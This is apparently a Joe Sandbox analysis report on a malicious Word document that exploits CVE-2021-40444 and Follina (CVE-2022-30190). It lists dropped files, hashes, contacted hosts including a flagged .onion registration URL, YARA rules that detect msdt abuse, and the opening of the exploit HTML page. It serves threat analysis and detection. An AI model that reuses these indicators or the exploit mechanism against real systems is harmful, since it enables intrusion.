C:\Windows\Temp\...\DiagPackage.dll, PE32+

dropped

C:\Users\user\AppData\...\WimProvider.dll.mui, PE32

dropped

C:\Users\user\AppData\...\VhdProvider.dll.mui, PE32

dropped

C:\Users\user\...\UnattendProvider.dll.mui, PE32

dropped

35 other files (none is malicious)

dropped

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots

Thumbnails
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Antivirus, Machine Learning and Genetic Malware Detection
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Source Detection Scanner Label Link

v4nkfHg4d9.doc 24% ReversingLabs Document-
Office.Exploit.CVE-
2021-40444

v4nkfHg4d9.doc 38% Virustotal Browse

v4nkfHg4d9.doc 100% Avira HEUR/CVE-2021-
40444.Gen

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AAB8F95.html 100% Avira JS/CVE-2022-
30190.G

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A8E05CE4.html 100% Avira JS/CVE-2022-
30190.G

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html 100% Avira JS/CVE-2022-
30190.G

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\a[1].html 100% Avira JS/CVE-2022-
30190.G

⊘ No Antivirus matches

Source Detection Scanner Label Link

ftpupload.net 8% Virustotal Browse

Source Detection Scanner Label Link

yfoj3s7ov6e3k7pboeumnj6rcq5h4kbdm5ogfc4tsv2eq2eed3rllrad.onion/register.php?
data=qYA9qoLk9CB3

0% Avira URL Cloud safe

https://freehaven.net/anonbib/#hs-attack06 0% Avira URL Cloud safe

scpalcwstkydpa3y7dbpkjs2dtr7zvtvdbyj3dqwkucfrwyixcl5ptqd.onion/torbrowser/11.5.2/tor-win32-0. 0% Avira URL Cloud safe

2gzyxa5ihm7nsggfxnu52rck2vv4rvmdlkiu3zzui5du4xyclen53wid.onion/download/tor/index.html 0% Avira URL Cloud safe

2gzyxa5ihm7nsggfxnu52rck2vv4rvmdlkiu3zzui5du4xyclen53wid.onion/dist/torbrowser/11.5.2/tor-
win

0% Avira URL Cloud safe

https://go.micr 0% Avira URL Cloud safe

https://forum.torproject.net 0% Avira URL Cloud safe

Name IP Active Malicious Antivirus Detection Reputation

ftpupload.net 185.27.134.11 true true 8%, Virustotal, Browse unknown

www.torproject.org 116.202.120.166 true false high

dist.torproject.org 38.229.82.25 true false high

Name Malicious Antivirus Detection Reputation

https://dist.torproject.org/torbrowser/11.5.2/tor-win32-0.4.7.10.zip false high

https://www.torproject.org/dist/torbrowser/11.5.2/tor-win32-0.4.7.10.zip false high

https://www.torproject.org/download/tor/ false high

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries
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https://www.virustotal.com/gui/file/8d61ea9ef38b6e7b36f466299223ad43339080d3a9914059c88ca3dd6be5cd32/detection/f-8d61ea9ef38b6e7b36f466299223ad43339080d3a9914059c88ca3dd6be5cd32-1663344847
https://www.virustotal.com/gui/url/0e3ff0c69ff85647fe1c745b78ab55c86b7a445d44328b6058f8c339a12fd8d6/detection/u-0e3ff0c69ff85647fe1c745b78ab55c86b7a445d44328b6058f8c339a12fd8d6-1663409469
https://www.virustotal.com/gui/url/0e3ff0c69ff85647fe1c745b78ab55c86b7a445d44328b6058f8c339a12fd8d6/detection/u-0e3ff0c69ff85647fe1c745b78ab55c86b7a445d44328b6058f8c339a12fd8d6-1663409469


Name Source Malicious Antivirus Detection Reputation

https://gitweb.torproject.org/tor.git/plain/ChangeLog?
h=tor-0.4.7.10

Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://bridges.torproject.org/status?
id=%sfingerprint-ed25519fingerprinthashed-
fingerprinted25519

tor.exe, 00000024.00000002.616445798.000
0000000FAD000.00000002.00000001.01000000
.0000000F.sdmp

false high

https://2019.www.torproject.org/docs/faq.html.en#Warn
ingsAboutSOCKSandDNSInformationLeaks.%s

tor.exe, 00000024.00000002.616445798.000
0000000FAD000.00000002.00000001.01000000
.0000000F.sdmp

false high

https://creativecommons.org/licenses/by-sa/4.0/ geoip6.17.dr false high

https://torproject.org Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://www.torproject.org/contact/ Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://www.torproject.org/ tor.exe, 00000024.00000002.616445798.000
0000000FAD000.00000002.00000001.01000000
.0000000F.sdmp

false high

https://bugs.torproject.org/tpo/core/tor/14917. tor.exe, 00000024.00000002.616445798.000
0000000FAD000.00000002.00000001.01000000
.0000000F.sdmp

false high

https://www.torproject.org/press/ Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

scpalcwstkydpa3y7dbpkjs2dtr7zvtvdbyj3dqwkucfrwyixc
l5ptqd.onion/torbrowser/11.5.2/tor-win32-0.

Putty.exe, 00000011.00000002.611308351.0
0000000023E6000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

true Avira URL Cloud: safe unknown

https://newsletter.torproject.org/ Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

dist.torproject.org:443/x Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp

false high

https://mastodon.social/ Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://location.ipfire.org/. geoip6.17.dr false high

https://www.instagram.com/torproject Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://torproject.org/en/ Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://dist.torproject.org/tor-
0.4.7.10.tar.gz.sha256sum

Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://dist.torproject.org/tor-0.4.7.10.tar.gz Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://www.torproject.org/static/images/favicon/favicon
.ico

Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high
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https://www.torproject.org/about/history/ Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://donate.torproject.org Putty.exe, 00000011.00000002.610640724.0
0000000023B8000.00000004.00001000.000200
00.00000000.sdmp

false high

www.torproject.org:443/x Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.609469659.0000000002352000.000000
04.00001000.00020000.00000000.sdmp

false high

https://www.torproject.org/documentation.html tor.exe, 00000024.00000002.616445798.000
0000000FAD000.00000002.00000001.01000000
.0000000F.sdmp

false high

https://support.torproject.org/ Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://dist.torproject.org/tor-.tar.gz.sha256sum Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://support.torproject.org/faq/staying-
anonymous/p

Putty.exe, 00000011.00000002.611308351.0
0000000023E6000.00000004.00001000.000200
00.00000000.sdmp

false high

https://freehaven.net/anonbib/#hs-attack06 tor.exe, 00000024.00000002.616445798.000
0000000FAD000.00000002.00000001.01000000
.0000000F.sdmp

false Avira URL Cloud: safe unknown

https://location.ipfire.org/ geoip6.17.dr false high

2gzyxa5ihm7nsggfxnu52rck2vv4rvmdlkiu3zzui5du4xyc
len53wid.onion/download/tor/index.html

Putty.exe, 00000011.00000002.610552448.0
0000000023B2000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

true Avira URL Cloud: safe unknown

https://support.torproject.org/faq/staying-
anonymous/alphabetaThis

tor.exe, 00000024.00000002.616445798.000
0000000FAD000.00000002.00000001.01000000
.0000000F.sdmp

false high

https://www.torproject.org/about/jobs/ Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

2gzyxa5ihm7nsggfxnu52rck2vv4rvmdlkiu3zzui5du4xyc
len53wid.onion/dist/torbrowser/11.5.2/tor-win

Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp

true Avira URL Cloud: safe unknown

https://community.torproject.org/ Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://blog.torproject.org Putty.exe, 00000011.00000002.610640724.0
0000000023B8000.00000004.00001000.000200
00.00000000.sdmp

false high

https://2019.www.torproject.org/docs/faq.html.en#Warn
ingsAboutSOCKSandDNSInformationLeaks.%sDANG
EROU

tor.exe, 00000024.00000002.616445798.000
0000000FAD000.00000002.00000001.01000000
.0000000F.sdmp

false high

https://t.me/torproject Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://www.torproject.org/about/trademark/ Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://www.linkedin.com/company/tor-project Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

Name Source Malicious Antivirus Detection Reputation
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https://www.torproject.org/static/images/favicon/favicon
.png

Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://bugs.torproject.org/tpo/core/tor/21155. tor.exe, 00000024.00000002.616445798.000
0000000FAD000.00000002.00000001.01000000
.0000000F.sdmp

false high

https://github.com/torproject Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://bridges.torproject.org/status?id=%s tor.exe, tor.exe, 00000024.00000002.616445798.0000
000000FAD000.00000002.00000001.01000000.
0000000F.sdmp

false high

yfoj3s7ov6e3k7pboeumnj6rcq5h4kbdm5ogfc4tsv2eq2e
ed3rllrad.onion/register.php?data=qYA9qoLk9CB3

Putty.exe, 00000011.00000002.609469659.0
000000002352000.00000004.00001000.000200
00.00000000.sdmp

true Avira URL Cloud: safe unknown

https://support.torproject.org/faq/staying-
anonymous/

tor.exe, tor.exe, 00000024.00000002.616445798.0000
000000FAD000.00000002.00000001.01000000.
0000000F.sdmp

false high

https://twitter.com/torproject Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://dist.torproject.org/tor-
0.4.7.10.tar.gz.sha256sum.asc

Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://blog.torproject.org/lifecycle-of-a-new-
relayCan

tor.exe, 00000024.00000002.616445798.000
0000000FAD000.00000002.00000001.01000000
.0000000F.sdmp

false high

https://blog.torproject.org/v2-deprecation-timeline tor.exe, 00000024.00000002.616445798.000
0000000FAD000.00000002.00000001.01000000
.0000000F.sdmp

false high

https://www.torproject.org/static/images/tor-
project-logo-onions.png

Putty.exe, 00000011.00000002.610640724.0
0000000023B8000.00000004.00001000.000200
00.00000000.sdmp

false high

mingw-w64.sourceforge.net/X tor.exe, 00000024.00000002.642054543.000
0000063786000.00000008.00000001.01000000
.00000013.sdmp

false high

https://dist.torproject.org/tor-.tar.gz Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

www.zlib.net/D Putty.exe, 00000011.00000003.571453561.0
000000023192000.00000004.00000020.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.612010328.00000000122C1000.000000
04.00001000.00020000.00000000.sdmp, tor.exe, 
00000024.00000002.621892949.000000005E858000.
00000008.00000001.01000000.00000016.sdmp

false high

https://go.micr msdt.exe, 00000003.00000002.604130120.00
000000008DF000.00000004.00000020.0002000
0.00000000.sdmp

false Avira URL Cloud: safe unknown

https://forum.torproject.net Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://dist.torproject.org/tor-
.tar.gz.sha256sum.asc

Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://www.openssl.org/H tor.exe, 00000024.00000002.624657684.000
000005E8F2000.00000008.00000001.01000000
.00000015.sdmp, tor.exe, 00000024.000000
02.639426656.0000000063705000.00000008.0
0000001.01000000.00000014.sdmp, libcrypto-1_1.dll.
17.dr

false high

https://support.torproject.org/en/little-t-tor/verify-
little-t-tor/

Putty.exe, 00000011.00000002.610640724.0
0000000023B8000.00000004.00001000.000200
00.00000000.sdmp

false high

Name Source Malicious Antivirus Detection Reputation
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https://blog.torproject.org/lifecycle-of-a-new-relay tor.exe, tor.exe, 00000024.00000002.616445798.0000
000000FAD000.00000002.00000001.01000000.
0000000F.sdmp

false high

https://dist.torproject.org/torbrowser/11.5.2/tor-
win32-0.4.7.10.zipyQ

Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp

false high

https://bugs.torproject.org/tpo/core/tor/8742. tor.exe, 00000024.00000002.616445798.000
0000000FAD000.00000002.00000001.01000000
.0000000F.sdmp

false high

https://gitweb.torproject.org/tor.git/plain/ChangeLog?
h=tor-

Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

https://www.torproject.org/docs/faq.html#BestOSForRe
lay

tor.exe, 00000024.00000002.616445798.000
0000000FAD000.00000002.00000001.01000000
.0000000F.sdmp

false high

https://www.torproject.org/privchat Putty.exe, 00000011.00000002.610934075.0
0000000023CF000.00000004.00001000.000200
00.00000000.sdmp, Putty.exe, 00000011.00
000002.610640724.00000000023B8000.000000
04.00001000.00020000.00000000.sdmp

false high

Name Source Malicious Antivirus Detection Reputation

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

116.202.120.166 www.torproject.org Germany 24940 HETZNER-ASDE false

217.12.221.131 unknown Ukraine 15626 ITLASUA false

185.27.134.11 ftpupload.net United Kingdom 34119 WILDCARD-
ASWildcardUKLimitedGB

true

185.129.61.3 unknown Denmark 57860 ZENCURITY-NETDK false

38.229.82.25 dist.torproject.org United States 23028 TEAM-CYMRUUS false

213.152.168.27 unknown Netherlands 49453 GLOBALLAYERNL false

IP

127.0.0.1

World Map of Contacted IPs

Public IPs

Private
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Joe Sandbox Version: 36.0.0 Rainbow Opal

Analysis ID: 706117

Start date and time: 2022-09-20 12:07:23 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 11m 27s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: v4nkfHg4d9.doc

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211

Run name: Potential for more IOCs and behavior

Number of analysed new started processes 
analysed:

38

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.expl.evad.winDOC@37/91@4/7

EGA Information: Successful, ratio: 50%

HDC Information: Successful, ratio: 0.6% (good quality ratio 0%)
Quality average: 0%
Quality standard deviation: 0%

HCA Information: Failed

Cookbook Comments: Found application associated with file extension: .doc
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM
Scroll down
Close Viewer

Exclude process from analysis (whitelisted): MpCmdRun.exe, sdiagnhost.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe,
wuapihost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (wh itelisted): 52.109.76.141, 20.126.111.161, 20.231.71.84, 20.25.84.51, 80.67.82.211, 80.67.82.235
Excluded domains from analysis (whitelisted): prod-w.nexus.live.com.akadns.net, login.live.com, config.officeapps.live.com, prod.configsvc1.live.com.akadns.net, cdn.discordapp.com,
nexus.officeapps.live.com, displaycatalog.mp.microsoft.com, officeclient.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, a1449.dscg2.akamai.net, arc.msn.com, europe.co
nfigsvc1.live.com.akadns.net
Execution Graph export aborted for target Putty.exe, PID 581 2 because there are no executed function
Not all processes where analyzed, report is missing behavior  information
Report size exceeded maximum capacity and may have missing b ehavior information.
Report size getting too big, t oo many NtAllocateVirtualMemory calls found.
Report size getting too big, t oo many NtOpenFile calls found.
Report size getting too big, t oo many NtOpenKeyEx calls found.
Report size getting too big, t oo many NtProtectVirtualMemory calls found.
Report size getting too big, t oo many NtQueryAttributesFile calls found.
Report size getting too big, t oo many NtQueryValueKey calls found.
Report size getting too big, t oo many NtSetInformationFile calls found.

Time Type Description

12:10:10 API Interceptor 34x Sleep call for process: powershell.exe modified

General Information

Warnings

Simulations

Behavior and APIs
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⊘ No context

⊘ No context

⊘ No context

⊘ No context

⊘ No context

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: Microsoft Access Database

Category: dropped

Size (bytes): 528384

Entropy (8bit): 0.475778283509146

Encrypted: false

SSDEEP: 384:fGfX8UJCes8SFpvfZ0jGBYW9SXWqJwtZ1Ir+hVZO4Fg:+fXlCBHpnZuoSGq/YI

MD5: B5B22E1215E913563F9F0421C16CED0A

SHA1: 48706B076D4763348DCAEFAD235113A5D6CB9EDB

SHA-256: 72A296DA05B418D7E8D33AE4254130C7261E9396793956F7CB0C7DC827E311A5

SHA-512: 634B51271E24DFEF049970D80F4FBBEEF63CB956DC9421F6461C776F2DD8ACDEADEABC15DA83DFB25BEE77D6801492E1955D67A8EEAF7A34D43951B78427F6
52

Malicious: false

Preview: ....Standard ACE DB......n.b`..U.gr@?..~.....1.y..0...c...F...N.T.7E....(....`L;{6...o[.C...3,.y[..|*..|.....a...|.f_...$.g..'D...e....F.x....-b.T...4.0..........................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
...................................................................................................................................................................................................................................................

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 36

Entropy (8bit): 2.730660070105504

Encrypted: false

SSDEEP: 3:5NixJlElGUR:WrEcUR

MD5: 1F830B53CA33A1207A86CE43177016FA

SHA1: BDF230E1F33AFBA5C9D5A039986C6505E8B09665

SHA-256: EAF9CDC741596275E106DDDCF8ABA61240368A8C7B0B58B08F74450D162337EF

SHA-512: 502248E893FCFB179A50863D7AC1866B5A466C9D5781499EBC1D02DF4F6D3E07B9E99E0812E747D76734274BD605DAD6535178D6CE06F08F1A02AB60335DE066

Malicious: false

Preview: C.e.n.t.r.a.l.T.a.b.l.e...a.c.c.d.b.

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Office\16.0\O ceFileCache\CentralTable.accdb

C:\Users\user\AppData\Local\Microsoft\Office\16.0\O ceFileCache\CentralTable.ini
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Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 64

Entropy (8bit): 1.3860360556164644

Encrypted: false

SSDEEP: 3:THaV:THu

MD5: 70F302D4AD1B093A93188697B42B79CF

SHA1: 103F0E47BA90E478CF5CCA6630295D3DC1521CEF

SHA-256: 65675A73E16B095C3EB43FBAF81E3BA8167CD7FA36D6FC38A49A45096C70807A

SHA-512: 1BB8E6141D7C74E03C2826BB1F7CAB679D36458F0F9FB436B6DBFD90F6060F0DB2B9B5BC6D4C79E109198C775F15FA5B60454B1F68FB2EB32FE07A586F12AC
BC

Malicious: false

Preview: 472847.                         Admin.                          

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 147988

Entropy (8bit): 5.358176006195241

Encrypted: false

SSDEEP: 1536:jcQW/gxgB5BQguw//Q9DQe+zQhk4F77nXmvid3XRWEoLcL6w:6HQ9DQe+zWXJp

MD5: 4281833CE186A14E001340B2EDAB16EF

SHA1: 5019B0C31DC975C88376688FC0E7DCDC00AA52D8

SHA-256: EB67D996AC6EB99D24928C04502074A3274D54D93A2F655B473C8FB8BA4B87C5

SHA-512: 639DD355ADDBD2D3F1DCEC12263A1C7053002862C0E498B0A3741BA09402EDC29244FF9B8D33F699DCB8A309D5C97A5D2EFBFB052FED9F00E0C0FBCF908D29
83

Malicious: false

Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2022-09-20T10:08:16">..    
Build: 16.0.15711.30525-->..  <o:default>..   <o:ticket o:headerName="Authorization" o:headerValue="{}" />..  </o:default>..  <o:service o:name="Research">..   <o:u
rl>https://rr.office.microsoft.com/research/query.asmx</o:url>..  </o:service>..  <o:service o:name="ORedir">..   <o:url>https://o15.officeredir.microsoft.com/r</o:url>..  
</o:service>..  <o:service o:name="ORedirSSL">..   <o:url>https://o15.officeredir.microsoft.com/r</o:url>..  </o:service>..  <o:service o:name="ClViewClientHelpId">..   
<o:url>https://[MAX.BaseHost]/client/results</o:url>..  </o:service>..  <o:service o:name="ClViewClientHome">..   <o:url>https://[MAX.BaseHost]/client/results</o:url>..  
</o:service>..  <o:service o:name="ClViewClientTemplate">..   <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>..  </o:service>..  <o:

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: PNG image data, 724 x 1024, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 31667

Entropy (8bit): 7.606296058205636

Encrypted: false

SSDEEP: 768:gyyyyyyyy7bb9/5B6TXBUvTF1k2K/m+p0i:gyyyyyyyy7bb9/5sLMmmMD

MD5: 6C06A8618F116BB542677F04FA34E954

SHA1: 7EB1BC6B098104C2827AADE763798AE0B0343A86

SHA-256: 618E441E2019C655AE1E777C38B96FBA72CD569CE26DE877539295B5161FFE84

SHA-512: 491B75818B466A00B9A04B64BA0065AE638F01D35FC3DF342090E3268B7508C9B6F712F4EDA9DE533036E4819B0A2D21BDA6E8B893D78E7DE84CA08FDBDC09A
A

Malicious: false

Preview: .PNG........IHDR.............N0Y.....sRGB.........pHYs...........>...{XIDATx^..Y.].y...21.Ca..,.Y..%..dK.W..e.?........-/j2%.U$X#P....$.Zm_...).....g...N..1<.{.W..^[[.z.....~.... @.............. 
@.@....6..E......L.>l..... @.U..G..:#@.............. ...Un.. @......{.......hU@..*.... @.....=@.......* .h.[g... @..... @.....Z..|..3.... @@.a.. @.......>Z........  ..... @...V.....[.Pg... @.@...
....7{.... ...ur.. @...~..>...fO.....Z..|.N.C.... .o..G...... @.@......uH......- .....=.....h]@..:.... @.@.....^..'@.......>Z'.!.........o.... @.u..G..:$@.......|.{......... .h.\.... @.....~.... @................
[@....7{.... ...ur.. @...~..>...fO.....Z..|.N.C.... .o..G...... @.@......uH......- .....=.....h]@..:.... @.@.....^..'@.......>Z'.!.........o.... @.u..G..:$@.......|.{......... .h.\.... @.....~.... @..........
......[@....7{.... ...ur.. @...~..>...fO.....Z..|.N.C.... .o..G...... @.@......uH......- .....=.....h]@..:.... @.@.....^..'@.......>Z'.!.........o.... @.u..G..:$

Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: HTML document, ASCII text, with very long lines, with CRLF line terminators

C:\Users\user\AppData\Local\Microsoft\Office\16.0\O ceFileCache\CentralTable.laccdb

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\o ceclient.microsoft.com\5EFD149C-BD41-43EE-BC2A-E054

5656E37A

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\953582AF.png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A8E05CE4.html
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Category: dropped

Size (bytes): 6827

Entropy (8bit): 1.4956688509182383

Encrypted: false

SSDEEP: 24:0WUe43dlK8PkikLnPKZ2kSAf9cJuQL34S0VMG:0WUe43dnUPyNTSj4S3G

MD5: 9D5D3D22DB816F7E84026BA1FCD97BB7

SHA1: 0A3C8D913D481AD880FD127E2E05763D2CAA29BC

SHA-256: 1BEB27F9276EB6FC726824CC1809399EA57A9CEF66BD020E797E95C061DDFF85

SHA-512: 6BB8FF659FCDDF99CBBAB16F116C99DE2D45339AB04F40D413407922657CED3C5601970129A8318FD9A6F1DE84D3B94615F9F1D64B61F02F3CFF2CCC64EC7C6
0

Malicious: true

Yara Hits: Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a 
legitimate FQDN), Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A8E05CE4.html, Author: Florian Roth
Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: 
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A8E05CE4.html, Author: Nasreddine Bencherchali, Christian Burkard
Rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / 
Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A8E05CE4.html, Author: Tobias Michalski, Christian Burkard
Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: 
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A8E05CE4.html, Author: Joe Security

Antivirus: Antivirus: Avira, Detection: 100%

Preview: <!doctype html>..<html lang="en">..<head>..<title>..Exploit..</title>..</head>..<body>....<script>..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..//AAAA
